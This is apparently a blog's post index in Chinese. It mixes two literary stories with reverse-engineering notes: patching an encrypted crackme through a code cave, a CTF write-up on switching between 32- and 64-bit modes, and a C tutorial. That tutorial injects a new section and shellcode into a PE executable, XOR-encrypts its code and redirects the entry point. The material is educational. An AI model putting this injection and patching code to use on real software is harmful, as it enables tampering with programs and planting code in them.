    混着沙砾的风吹起了他的斗篷,灌入扎人的枯草;脚底的沙土竟开始缓慢地向着一个方向汇聚,不再阻挠他的旅行。渐渐地,它们开始纷飞、卷积、狂躁,拉扯着枯萎的草木卷向云顶,拖拽着匙汇入涡流。当他沉浸空白之中,回顾着过去的种种的时候,风与沙的狂舞遮蔽了天日,笼罩了墓地,同那些回旋的枯干演奏,亦有沙石化为齑粉的杂音。是那些石碑在鼓掌,它们相互碰撞;是匙在喝彩,它将被卷上云霄。\n      那狂风追赶着落魄的旅人,而旅人在前面窘迫地逃跑。双脚偶尔悬空,思绪偶尔停滞,畏惧着下一刻的悬空与那之后的坠落,也担心那些凌乱的碎石阻断意识。双脚传来的幻痛消褪,脑中的鸣笛停止,切割皮肤的凌冽寒风失去效力,干涸的咽喉仍腾着水汽。渗出在脖颈的汗水顺着脊椎滑进空气,渐渐地不再溢出;手足丧失的浑噩驱使着本能的觉醒,摇拽着破损的风衣。他无知觉地奔跑在喧闹的荒原上,昏暗的视线逐渐下沉,终是遮蔽天幕,掩埋意识……\n      不知过去了多久,干涸的沙漠迎来了一场久违的暴雨。月亮残存的余光不过脚底稍纵即逝的涟漪,模糊的光斑成了漆黑天幕的污秽。锐利的雨丝好像要割裂皮肤,划破血管,最后在血液里漫游。\n      匙从没想过会发生这些,他甚至都不知道这里还是不是塔罗拉的荒原。凌冽的冻雨叫醒了昏睡在沙丘上的他,突至的极寒与尘暴令他的思绪一片混乱。\n      塔罗拉的气候总是这样捉摸不定,平日里都靠着村里的信使从隔壁的城镇捎来消息,可他外出的时候却忘记了和信使打个招呼。如果信使告诉了他这之后将会有尘暴与暴雨,匙或许就不会离开村子了,但是没有如果,他现在必须自己整理混乱的思绪,然后从迷途归返……\n      “可我为什么要回去?”\n      匙的眼中还是那个贫穷的村庄,有父母和妻子的墓碑的村庄,有满目萧条的沙地与枯燥乏味的日子的村庄。而现在,他却在为分不清方向而激动,抑或是混淆了兴奋与恐惧制造的错觉。他打算扶着淋湿的墓碑站起,却发现自己够不到墓碑的顶端;那本该是久未打磨的粗糙石碑,现在摸着却如宝石般光滑。绕过这面高大的石碑,借着雨夜里衰微的月光,匙目睹了他此生难忘的绝景。\n      那一面面高耸入云的黑曜石碑杂乱的分布在沙漠里,在雨水的浸润下漫射着昏暗月光。那些不加任何修饰的墓碑竟是如此的庄严,似是埋葬着早在远古时期就已死去的神明,并且还是不计其数的神明。一丛雷电照亮了远方,在被浓雾模糊的视界边际,耸立着无数朦胧而畸形的怪异塔楼。那些张牙舞爪的塔楼全都有着怪异的形状,有的像是蝙蝠、有的又像是八爪鱼,甚至还有的边檐以一种奇妙的曲度弯折,然后和周边的其他塔楼相勾连……\n      无论是那些难以名状的塔楼,抑或是身边那庄严肃穆的石碑,匙都不曾见过,也不曾听说过。\n      他漫步在黑曜石碑构成的雨林里。倾斜的暴雨逐渐败落,只剩下些朦胧到几乎看不见的水渍在空中紊乱着。轻柔的月光投进这没有枝叶的丛林,照在那冰冷而无生机的粗壮树干上。匙透过空气中弥散的雾气,望见了那黑曜石碑上篆刻的繁琐文字。那些在月下闪着银光的古老文字他一个都没法辨认。匙也不知该如何形容这些文字,但当他看见这些歪曲的文字时,脑中闪过的却是“浑浊”。它们就连字形都有些暧昧,其中还有着诡异的符号化文字,又夹杂着一些像是弗列格语似的序列组合。而这样的文字还不止在他身边的这块石碑上。向着月亮的方向望去,那些望不到顶的墓碑侧面都篆刻着闪烁着银光的古怪文字。匙也读不懂,他很想把这些东西抄下来,可是身上既没有笔,也没有纸,即便有纸,也在刚才的暴雨里湿透了吧。于是他只能瞪着眼,用那连弗列格语的单词都记不住的脑子去记忆这些文字。\n      就连他自己都没有意识到,他越是去记忆这些老旧文字,就越是沉迷。他无数次的撞上那冷硬的石碑,又无数次无视额头上几乎流血的红肿与已经麻木的双腿。那些若气泡般暧昧的黯银色文字在他的虹膜上蒸发、淡化,一如诗人的细语,又似昨日的惘闻,在他耳边吹响了怀念而陌生的笛音……\n      牧羊人在辽阔的草原上吹着笛子,身后跟着一群深黑色的“绵羊”还有一只雪白的“牧羊犬”。那些绵羊有着小山那样庞大的身形与漆黑如墨的毛发;不长眼睛的头顶有着一对锐利且棱角分明的羊角;粗壮的四肢每次踏下都会陷进深坑;叫声则像婴儿或是猿猴的哭声,甚至还有洞穴里的阴风、犀牛濒死的呜咽。\n      而后面跟着一只骨瘦如柴的牧羊犬。它耷拉着眼皮,有气无力地跟在后面,即便有谁掉队了,它也不赶不追,只是站在原地默默地盯着,喉咙里发出“呜呜”的声音,既没有威严,也没有底气。\n      而匙走在最前面,吹着笛子,领着羊群。就连他自己都不知道,自己要去到哪里,只是身体擅作主张地行动着罢了。\n      不过片刻的功夫,他们从草原走进了山地,又从山地迈入了戈壁,最后到达了火山脚底。灼热的岩浆不断跃起,在黑羊的脚跟烫出一块块黑斑。沉寂了上万年的灼烫为黑羊们献上礼赞,前方的吹笛人也为腾起的黑烟吟唱。那些古老的歌谣仿佛自遥远的过去就被铭刻在脑海,隔绝了意识与理性之后不自觉地颂咏。它们被笼罩在歌与浊的世界,狂乱与躁动蔓延,怠惰与理性抑制。他们开始撞击沉睡的古老石碑,开始撕心裂肺地悲鸣。从远方不可视的迷雾至眼前的碑林,从皲裂的黑曜石缝隙里溢出了滚烫的鲜血。干涸的土地上流淌起岩浆奔腾的红河,黑羊们被赶往四周,摧垮沿路的墓碑。那些被搅动的安眠、被打扰的永寂在这一刻毁灭,从被墓碑堵塞的泉眼里喷涌出壮丽的赤潮。细密的雨丝甚至蒸发不出水汽,溶解在灼热的空气里被吸入鼻腔。\n      雪白的牧羊犬不知所措地绕着各个废墟转圈,黑羊们仍在横冲直撞。匙吹着长笛走上了火山口,双脚不受控制的迈向燃烧的池水。他想要呼救,却发现咽喉好像被什么堵塞,才意识到自己就连呼吸都变得困难。\n      他以为是剧毒与恶臭的气体所致,可脚底的岩石却开始瓦解。远方的乌云开始变得清晰,闪烁与雷鸣的胁迫宛若真实。黑褐色的岩石逐渐化为粉尘,橙红色的泥浆近在眼前。眼中的黑斑逐渐放大,皎洁的月光逐渐褪为金黄。失去知觉的双腿传来灼烫,仿佛浸泡在岩浆池沼;双目的疼痛几乎阻断思考的回路;风暴割裂皮肤的感觉出离的真实,碎石与木屑刺入皮肤的疼痛让他怀疑起自己的处境;那些贯穿云霄的高大墓碑只剩下视界里的一个个黑色的污渍,如散沙一般被弃置在荒漠中。\n      悬空、悬空、悬空,坠落、坠落、坠落。\n      身体与双腿离异,黄沙灌入瞳眸。胸腔塞满了被卷入尘暴的各式各样的碎屑,腕关节脱臼、膝关节失踪、踝关节龟裂、鼻梁骨错位。视界中的一切都开始退化,金黄色的暴风被涂成血红,口腔里是沙砾与腥甜的味道。\n      涂抹了一遍又一遍的凄惨,一截落在了妻子的墓旁,另一截不知所踪。\n      不过是多了一座不完整的墓碑,与一场不完整的回归。\n","categories":["Story"],"tags":["随笔"]},{"title":"内嵌补丁 与 洞穴代码分析案例","url":"/2021/03/11/reverse02/","content":"示范案例:unpackme#1.aC.exe,学习过程参照《逆向工程核心原理》\n如您发现了某些错误和不规范,请务必指正。\n插画ID:85939258\n内嵌补丁:\n    如名字所述,是指将补丁内嵌进程序中的一种打补丁的办法。与常规补丁不同的是,内嵌补丁嵌入在程序的代码当中,也就是说,每次执行该程序时相当于打了一次补丁(常规补丁通常打下第一次就不需要再有第二次了)。\n洞穴代码:\n    内嵌补丁常用的一种打补丁的方法。目前我个人只了解到其对于“为加密或压缩过的代码下补丁”时的作用,因此也引之为例。\n    在反调试过程中,我们会希望能够修改其代码以达成破解。但对于那些被加密过的程序,却通常不能这样轻易的完成打补丁的工作。因为你修改后的代码会在启动程序时经过“解密”,那么你原本的代码就会遭到破坏,使得程序报错。但就出现一个问题——我按照它的方法加密后修改代码不就行了?\n    可以,但过程会相当繁琐。假设我们需要修改10条代码,那么就必须加密10份代码。也因为在“下补丁时应该尽可能地不去改变程序主代码”,所以通常不这样做。因此便存在“洞穴代码”这一操作。\n    在PE文件的学习中,我们了解到,节区映射到内存时,很可能会预留出一些NULL填补的区域。那么如果在这些区域覆写新的补丁代码,那么就很可能逃过程序的解密算法影响。\n    (注:这是我个人学习之后的猜测。越是复杂的解密算法就越是消耗算力,它们不可能浪费不必要的算力去把其他NULL覆盖的区域也来一次解密,所以这些区块理论上应该算是“安全区”一样的存在)\n    那么,攻击者需要做的,就是将解密算法最后的Jump指令(JNZ或者JE等跳转指令)指向我们添加补丁的位置,就能够让程序执行我们期望的行为。\n​\n如上图为unpackme#1.aC.exe的反调试代码。EP为401000,而401007开始往下有一段看似乱码的东西,实则就是被加密后的代码。​\n    上图为解密之后的同样区段。能够发现,其字符串明显变得正常了(详见如下的反调试过程)。但如果现在去修改程序的汇编代码,就会在下一次启动程序的时候遭到“解密”,致使程序运行错误。\n反调试过程:\n    调试程序,来到EP。发现只有一条401001处的CALL指令,跟入。然后在4010E9处将4010F5保存进EAX寄存器中,并将其入栈,再CALL 40109B。\n​\n​\n    不妨来到刚刚保存进EAX的4010F5处看看究竟保存了些什么。\n​\n    显然,这个EAX中保存的实际上是需要解码的代码段地址。那么就几乎可以认定,40109B就是接下来要进行的解码函数地址了。跟入。\n​\n    40109E处,将154放入ECX。而在4010A3~4010AD中,容易发现其对刚刚EAX处的代码进行了异或解密。那么154就应该是解密代码段的长度了。\n    正常解密时,完成该循环后应该达到4010B0处的CALL,转到4010BD,再次出现了循环。但本次解码的开始地址为401007,长度为7F,过程仅仅只是与7进行一次异或。\n    以及对EAX处保存的地址重新与11异或。可见EAX处的代码进行了双重加密。\n    而完成解密之后,返回4010B5,并由下一个CALL进入401039。\n​\n    在401046~40104F处存在一个加法循环,在401062处又进行了一次比较,实际上为一个校验过程。但在校验之前,40105D处的CALL会再一次进行解密过程,这里并不太重要,但不妨看看解密之后是否能找到什么讯息。如下图:\n​\n    显然,字符串“yoou must unpack me !!!”已经能够找到了。那么我们的目的显然就是修改这个地址处的字符了。\n​\n    继续调试将发现如上代码。401068处JE跳转至401083,再由401083跳转至40121E。\n​\n    因为Ollydbg在处理解码代码后的回显不太如意,此处换为了x32dbg,发现40121E处即为OEP(我个人是根据401220处调用GetModuleHandleA函数猜测得出的结论,但对于Windows系统的API还不太了解)。\n    同时也能发现,401280开始,均为0填充的空白区,那么就可以利用这一块来嵌入补丁了。\n​\n    覆写如上代码。该代码主要用于覆写原本的字符串(4012AB处储存的实际上为字符串“ReverseCore”,而4012B7则为字符串“unpacked”,写入之后被x32dbg识别为了其他东西以至于无法清晰分辨了……)。\n    最后则需要修改转入出的代码。由上面的图可见,401083处本该为跳转代码,其经过解密之后就是新的跳转代码了。那么覆写该段代码,将EE 91 06改为EE FF 06即可。\n​\n    (注:如下图。EE 91 06是未经过解密的代码,所以覆写的代码也应该处于加密状态,即EE FF 06。该方法建立在已知其解密方法为“将数值与7进行XOR处理,所以能够方向计算出新的代码”。即便不在反调试器中修改,直接通过修改16进制文件也能达到相同效果)\n​\n    该文件完成补丁。\n注:\n还存在一个问题。在实际调试过程中,反调试极有可能出现异常导致中断。原因出自于覆写字符串这一行为并不具有权限,因此调试很可能停在rep movsb上。将文件可写打开之后发现并没能解决问题。解决方案在得到答案后将会补齐。​\n","categories":["Note","逆向工程"],"tags":["逆向工程"]},{"title":"SCTF2021——gadget报告","url":"/2022/01/04/sctf2021-gadget/","content":"关键点总结:\n1.架构切换(retf与retfq与ret)\n2.侧信道攻击\n首先应该认识到:\nretn与retf这两条指令的区别 以及 64位机器是如何执行32位程序的\nretn(return near)近跳转,等同于 pop ip\nretf(return far)远跳转,等同于 pop ip;pop CS\nCS指的是**段寄存器(Code-Segment Register)**,在早期80386时代,它本用于地址拓展,但如今64位的系统下,该寄存器的内容已经和那个时代完全不同了。\n现代的CS寄存器中用于存放 **数据段选择子(Code-Segment Descriptors)**,如下为其格式:\n\n本文不再赘述其含义,我们主要关心该选择子的 D 标志位,它用以区分程序应该运行在32位还是64位架构上\n因此,如果D标志位被置1,则表示程序应该运行在64位,反之则为32位(请注意,这个说法并不严谨,因为它们的差别不只是一个bit而已,但本文出于便于理解的目的如此称呼,为避免误导,特此提醒)\n很多师傅的Writeup中写道:\n\ncs寄存器中0x23表示32位运行模式,0x33表示64位运行模式\n\n实际上,它们只有一个bit的差别而已,0x23:10 0011 ; 0x33:11 0011\n高两位是GDT的索引,具体对应到GDT中,其上的D位各不相同,因此导致了运行模式的差异\n另外需要提到的一点是,一部分师傅在WP里会这样写:\n\n使用retf切换到32位,retfq再回到64位\n\n但这二者实际上没有区别,不必多此一举,则一即可。但笔者在查阅资料的时候,并没有发现哪份文档写到retfq指令,猜测是由于AT&T语法的关系吧\n题目利用思路:\n仅有调用号0与5可用。但在32位下,0对于open;在64位下,5对应read。因此我们能够将flag读进内存。\n接下来将flag与我们猜测的内容进行比较,如果猜对,那么程序就跳转至死循环处,最终因为超时而down;否则就直接退出。猜测方式很多,较为易懂的是利用sub+jz来实现相等跳转\nEXP:\n(有时间再补)\n参考文章:\nhttps://m-ouse.github.io/post/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3wow64-I/\nhttps://reverseengineering.stackexchange.com/questions/2006/how-are-the-segment-registers-fs-gs-cs-ss-ds-es-used-in-linux\nhttps://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers\nMark:http://liupzmin.com/2021/06/27/theory/stack-insight-01-md/\n对我来说算是个冷知识:https://stackoverflow.com/questions/63975447/why-virtual-address-are-48-bits-not-64-bits\n插画ID : 93869785\n","categories":["CTF题记","Note"]},{"title":"加壳原理及实现流程与导入表结构分析","url":"/2021/05/29/shelldemo1/","content":"封面ID : 89322214\n前言:\n    笔者在学习制作软件外壳之前,一直对这种技术抱有过于简单的看法——即所谓的壳就是将代码段加密之后,往新节区写入解密代码并让OEP转为新节区处。\n    总体来说,这种解释并没有什么问题;但这种认识却是非常片面也过于简单的,以至于在实现的过程中接连发生了许多难以预料的问题。这些问题将在本篇下方逐一解释。\n    PE文件包括exe、dll、sys等多种类型,笔者只在这里实现EXE可执行文件的程序壳。尽管这相较于DLL文件更加简单,但也足矣说明很多问题了。\n    笔者会用代码和实操混合起来演示。\n正文:\n    首先,先大致复习一下PE文件结构中一些和壳相关性较强的参数吧(详细定义不再赘述)。\n​\nWORD MZSignature;DWORD Signature;WORD NumberOfSections;DWORD AddressOfEntryPoint;DWORD SizeOfCode;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImageBase;DWORD SectionAlignment;DWORD FileAlignment;DWORD SizeOfImage;struct IMAGE_DATA_DIRECTORY_ARRAY DataDirArray;struct DLL_CHARACTERISTICS DllCharacteristics;//不代表其他参数不会被应用\n\n    还需要提一句的是,所有Windows系统下的PE文件,要想执行都需要经过“PE装载器”来完成初始化和加载入内存的操作。这些PE文件结构中的参数就是做给装载器看的,只有确切告诉装载器一些数据,它才能将文件正确的加载入内存并完成一些其他的工作。\n以下图程序为范例:\n    (这是一个比较特殊的范例,它只有三个节区,笔者为此碰了不少壁)\n    我们先走一遍基本流程,看看常规的操作是什么。\n​\n//读取待加壳文件HANDLE hFile = NULL;HANDLE hMap = NULL;LPVOID lpBase = NULL; hFile = CreateFile(FILENAME, GENERIC_READ GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0); lpBase = MapViewOfFile(hMap, FILE_MAP_READ FILE_MAP_WRITE, 0, 0, 0);\n\n    我将上面的三个变量设为全局变量以方便其他函数中也能够调用,通过WindowsApi里的函数实现映射,此时,lpBase将指向文件的开头(MZ签名)。\n//验证该文件是否为PE文件 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; PIMAGE_NT_HEADERS pNtHeader = NULL; //PE文件验证,判断e_magic是否为MZ if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; } //根据e_lfanew来找到Signature标志位 pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew); //PE文件验证,判断Signature是否为PE if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; }\n\n    笔者一度以为这种验证方法是否有些拘谨,但这一部分在实际操作中并不会有什么问题,因为PE装载器也是这样来识别文件的;这意味着,那些压缩文件头的壳即便将文件头修改得面目全非,也仍然能被识别成PE文件,因此多种壳的嵌套似乎就并没有那么不可能了。\n//声明一个指向“新节区头”的指针pTmpSec int nSecNum = pNtHeader->FileHeader.NumberOfSections; DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment; DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment; PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD) & (pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader); PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;\n\n    节区头是一个固定宽度的结构体,在“windows.h”中可以通过PIMAGE_SECTION_HEADER来直接声明(该文件头也包括一系列的PE文件头结构)。\n    而按照PE文件的结构,Nt头的下面就是节区头,代码逻辑已经足够清晰了便不再赘述。\ntypedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics;} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;\n\n/*初始化“新节区头”的各项参数*/ char szSecName[] = ".toka"; //拷贝节区名称 strncpy((char*)pTmpSec->Name, szSecName, 7); //节的内存大小 pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment); //节的内存起始位置 pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress + AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment); //节的文件大小 pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment); //节的文件起始位置 pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData + AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment); //节的属性(包含代码,可执行,可读) pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ; //修正节的数量,自增1 pNtHeader->FileHeader.NumberOfSections++; //修正映像大小 pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize; //保存当前的OEP DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint; //修正代码长度 pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData; //修正程序的入口地址 pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;\n\n    Name是一个8Byte字符数组,可直接拷贝。\n    VirtualAddress为节区加载如内存时的RVA,它应该符合SectionAlignment的对齐参数(例如 .text的VirAddr为1000h,下一个节区的大小就应该是 (VirAddr+SizeOfRawData)的向上取SectionAlignment的整数倍)\n    而SizeOfRawData则也该符合FileAlignment整数倍向上取整对齐\n    我们默认新节区中存放的内容均可被当作代码执行,因此SizeOfCode增加节区的SizeOfRawData大小\n    节区属性通常是固定的值,暂时不需要考虑过多\n    最后将Nt头中的SizeOfImage增加节区的VirtualSize大小,并保存当前的OEP,将OEP设置到新的节区,完成一个新节区头的初始化(下图为此时的文件状态,可以看见,010已经能够识别到新的节区头和新的节区位置了)\n​\n    那么接下来,我们就需要给这个尚且什么都没有的节区添加可执行代码了。\nchar shellcode[] ="\\x33\\xdb""\\x53""\\x68\\x2e\\x65\\x78\\x65""\\x68\\x48\\x61\\x63\\x6b""\\x8b\\xc4""\\x53""\\x50""\\xb8\\x31\\x32\\x86\\x7c""\\x90\\x90""\\xb8\\x90\\x90\\x90\\x90""\\xff\\xe0\\x90";//增加节区数据 函数void AddSectionData(int nSecSize){ PBYTE pByte = NULL; //申请用来添加数据的空间,这里需要减去ShellCode本身所占的空间 pByte = (PBYTE)malloc(nSecSize - (strlen(shellcode) + 3)); ZeroMemory(pByte, nSecSize - (strlen(shellcode) + 3)); DWORD dwNum = 0; //令文件指针指向文件末尾,以准备添加数据 SetFilePointer(hFile, 0, 0, FILE_END); //在文件的末尾写入ShellCode WriteFile(hFile, shellcode, strlen(shellcode) + 3, &dwNum, NULL); //在ShellCode的末尾用00补充满 WriteFile(hFile, pByte, nSecSize - (strlen(shellcode) + 3), &dwNum, NULL); FlushFileBuffers(hFile); free(pByte);}\n\n    申请一段空间,大小为 节区大小-shellcode 大小,并将内容置零\n    向文件末尾写入shellcode,并多余补零将节区大小不充到之前设定好的SizeOfRawData\n​\n    可以看见,新的节区也已经获得了数据,倘若现在将其放入Ollydbg中动态调试,我们将得到预期的结果,并且软件也能够正常运行。\n​\n    倘若我们只需要一个“伪壳”,那么做到这一步已经足够了;但实际上,上面的操作和基础的Shellcode注入并没有什么不同。它远无法达到一个“壳”所要求的强度\n   因此我们需要为它引入一个“代码加密模块”,只要没有运行完壳代码,源程序将无法运行(这里将只加密 .text 段)。但一旦加密,许许多多的问题就跟着来了。\n//异或加密 BYTE* content = (BYTE*)lpBase; content = content+pSecHeader->PointerToRawData; int SizeText = pSecHeader->SizeOfRawData; for (int i = 0;i<SizeText; i++) { *content ^= 0x0D; content++; }\n\n    在添加节区之后,我们为代码增加这样一个模块。它将会把**.text段的每个Byte与0x0D异或**\n    那么来看看这样做会导致什么问题吧\n​\n    可以发现,010的识别出现了严重的偏差,但这个问题似乎还不够具有冲击力,不妨试着放入Ollydbg动态调试一下?\n​\n    可能你会好奇,我还没有写如解密的代码,不能运行难道不是很正常吗?\n    但再回忆一下刚才的过程,程序的OEP应该是我们自己编写的Shellcode,它是没有经过加密的;也就是说,哪怕程序不能运行,它至少也应该能够执行到Shellcode结束的地方才对吧?\n    再来看看这个错误**”0x0000005”**,常见原因为内存地址非法引用、越界等,从结论来说,因为内存的错误导致程序已经完全不能运行了(程序已损坏)\n那么接下来讨论一下这个问题的原因:\n    我们需要引入一个上面没有提到的概念——“导入表”,它就在OptionalHeader中的DataDirArray里\n​\n下图为导入表完整的结构顺序,方框代表结构体,文字表示一个地址\n​\ntypedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size;} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) } DUMMYUNIONNAME; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)} IMAGE_IMPORT_DESCRIPTOR;typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;\n\ntypedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1;} IMAGE_THUNK_DATA32;typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;\n\ntypedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; CHAR Name[1];} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;\n\n    当系统运行PE文件时,装载器将会通过这张导入表的IMAGE_IMPORT_BY_NAME来得知程序需要用到哪些外置函数,并将这些函数的地址写入FirstThunk(IAT),于是你的程序就能够通过调用FirstThunk中储存的地址来调用函数\n    那么,这些导入表被放在示范文件的哪些地方了? .text 段\n    所以原因也就清楚了,当装载器试图获取函数的时候,你告诉它的每一个地址都是错误的,程序自然就会因为错误的地址导致崩溃了\n    所以,如果你尝试将IMAGE_DATA_DIRECTORY中的Size置零,或是将VirtualAddress置零,还或者是将IMAGE_IMPORT_DESCRIPTOR置零,你的程序都不会发生刚才的问题\n    放入Ollydbg中就能发现,程序至少能够执行到shellcode处了\n    但实际上,我们其是遇到的不应该是这样的程序\n​\n    上图为win7操作系统自带的计算器calc.exe\n    我们可以很明显的发现,它的导入表全都在 .rdata,这完美的避开了导入表被破坏的情况\n    因此倘若我们对这个文件进行加壳的时候就不会出现因为导入表破坏的情况出现了\n后话:\n    这更像是一种偷懒的方式,因为我们不可能总能遇到这张刚刚好的程序(尽管版本较新的编译器都会把这些段明确区分开来了)。\n    笔者查阅了各种各样的文章,最终只在思路上有所理解,却苦于实现有些困难\n  《加密与解密》第19章给出了导入表抹去的一种思路:\n    通过拷贝原导入表并抹去,将导入表写入新节区;在壳代码段中调用LoadLibray()与GetProcAddress()两个函数来模拟装载器生成导入表的操作,最后将获取的地址装回原导入表的IAT处实现表的重载和加密。\n    但我翻阅了一些大佬的文章,均没有提及上述过程的具体流程,似乎都默认了IAT不会被加密这一事实,因此在这里留作一个疑问,哪天得到了答案再作补充吧。\n    至于Shellcode的构造,这里不做赘述,笔者自己目前也并没有非常精通,还是不要误导他人为好。\n参考:\n 《加密与解密》\n 九阳道人:\nhttps://bbs.pediy.com/thread-250960.htm\nhttps://bbs.pediy.com/thread-251267.htm\n","categories":["Note","逆向工程"],"tags":["C++","壳"]},{"title":"烟灰色戏言","url":"/2022/03/29/smoke-joke/","content":"楼下的小卖铺不知道从哪进了一款新烟,我第一次见到那家店铺老板的笑容,猥琐又有些狡猾。他似乎相当兴奋,摇着手要我试试新货。过去一直苦着脸的样子全然看不出来,有的只是难以担待的盛情。耐不住其热情,我还是花了平常价格的两倍从他那买了一包从没试过的烟。烟盒上没有任何花纹和商标,朴素的有点难以让人相信它是商业制品,想来是哪里的小作坊私造香烟,不敢把自己的牌坊印在烟盒上吧。烟的味道有些微妙,但却有一种令人怀念又难以割舍的魔力,我说不上那种诡异的感觉,只觉得烟的味道还不错。也有想过推荐给别人,只是谁都不认识我,就连常常光顾的店铺老板都叫不上我的名字。街上的空气还是一如既往晦涩,让人很难嗅出接下来将要发生的事情。我叼着刚买的香烟试图在前些日子发生坠落的建筑附近寻找灵感。不过这是谎话,我只是受不了那间屋子的压抑罢了。这个冬天冻死了不少流浪汉,公园里今天也有很多公务员在为他们收尸。其实他们也嫌麻烦,但还算尽职尽责,至少没让尸体就这样僵硬在公园角落。但这也是戏言,因为如果他们不把尸体拖去火葬场,其他流浪汉就会用它们取暖。社会肯定不会允许他们公然在公园广场上纵火,只是没有管理他们的余裕,只能暂时釜底抽薪。在别人看来,这似乎相当异常,但很多时候这都是无可奈何的事情,所有人都在拼尽全力地活着,只是手段各不相同罢了,没有理由因此而责备他们。不好意思,这仍不过是个玩笑话,其实大家都只是得过且过,不可能毫无怨言,只是已经放弃抵抗了。运气好的能熬过这个冬天,运气差的可能下星期就会被冻死在夜里。但即便熬过了这个冬天,下个冬天也不会因此放过他们,而且只会比这一次更加难熬,风会刺得更疼,雪也积得更厚,白天会更短,黑夜会更长,手脚也只会有更长的时间处于无知觉状态,日子也只是一天比一天无望罢了。其实大家也都知道的,我问过他们。我当时用一块面包换来了他们的答案,时至今日,我也记得对方当时感恩戴德的模样,好似一场施舍。他紧紧攥着我的手,一副快要哭出来的样子,而他的儿子尽管不明所以,却也跪在身边,向我磕头。我看他们可怜,于是多给了一块面包,他们更是感激得直接哭了出来,手颤抖的极不自然。抱歉,我又开玩笑了,其实他们是看准了我身上还有食物,有意敲了我一笔,我已经不记得具体情况了,但我当时失望透顶,因为在我走后,他们对我能拿出的食物的量也失望透顶。我只记得这些了。我回过神来,才发现自己已经不知道绕到哪去了。路边多了一家从没见过的甜品店,不知道是不是最近开的,倘若如此,那店家一定没什么商业视野,因为这个时期无论做什么肯定都比做食物要赚钱,在一部分人看来,做食物和做饲料没有差别。我把快抽完的香烟丢进随身携带的烟袋里,慢悠悠地晃进甜品店,店长的女儿热情地接待了我,端着托盘一直矗在旁边,我每夹一份甜品,她就笑得愈灿烂。倒不是不能理解她的殷切,但她把那些只想闻闻刚出炉的甜品香气的客人赶出去的行为令我有些抵触。我没办法厚着脸皮跟她说自己不打算买了,只好提着有些沉重的甜品重新回到了大街上。里面有三个甜甜圈,但其实我并没有那么喜欢甜食,或者说对食物本身就没有太多兴致,只是我实在不想看见她一副遗憾和不屑的样子,迫于压力还是要了一点。重新点了一根香烟,还是那种复杂而又熟悉的味道。我下意识的想找个人一起分享甜品,又很快否定了这个荒谬的想法。街道毕竟不是我的街道,城市也不是我的城市,我既无求与它们,也不奢望能从它们那里得到什么。或许我会和那些流浪汉一样,光是被允许居住就必须感恩,光是能有一份工作就得殚精竭虑。倒也无所谓,其实能给我香烟和酒精就够了。我想大多数人都是这样,喜欢迷糊要多余清醒,会觉得神志不清的状态要比清醒更吸引人,我又何尝不是呢。对不起,我又说笑了。其实喜欢与否根本无关紧要,只是渐渐适应了,也就觉得没什么了。那个流浪汉也这样说了,我记不住,但意思是一样的,我们生来就只有一种选择。以前我或许还会勃然大怒,但现在只要有香烟就行了。其实他们也比起面包更想要香烟,但我当时还不抽烟,不知道这会成为第二种氧气,所以还没注意到,其实真正迫切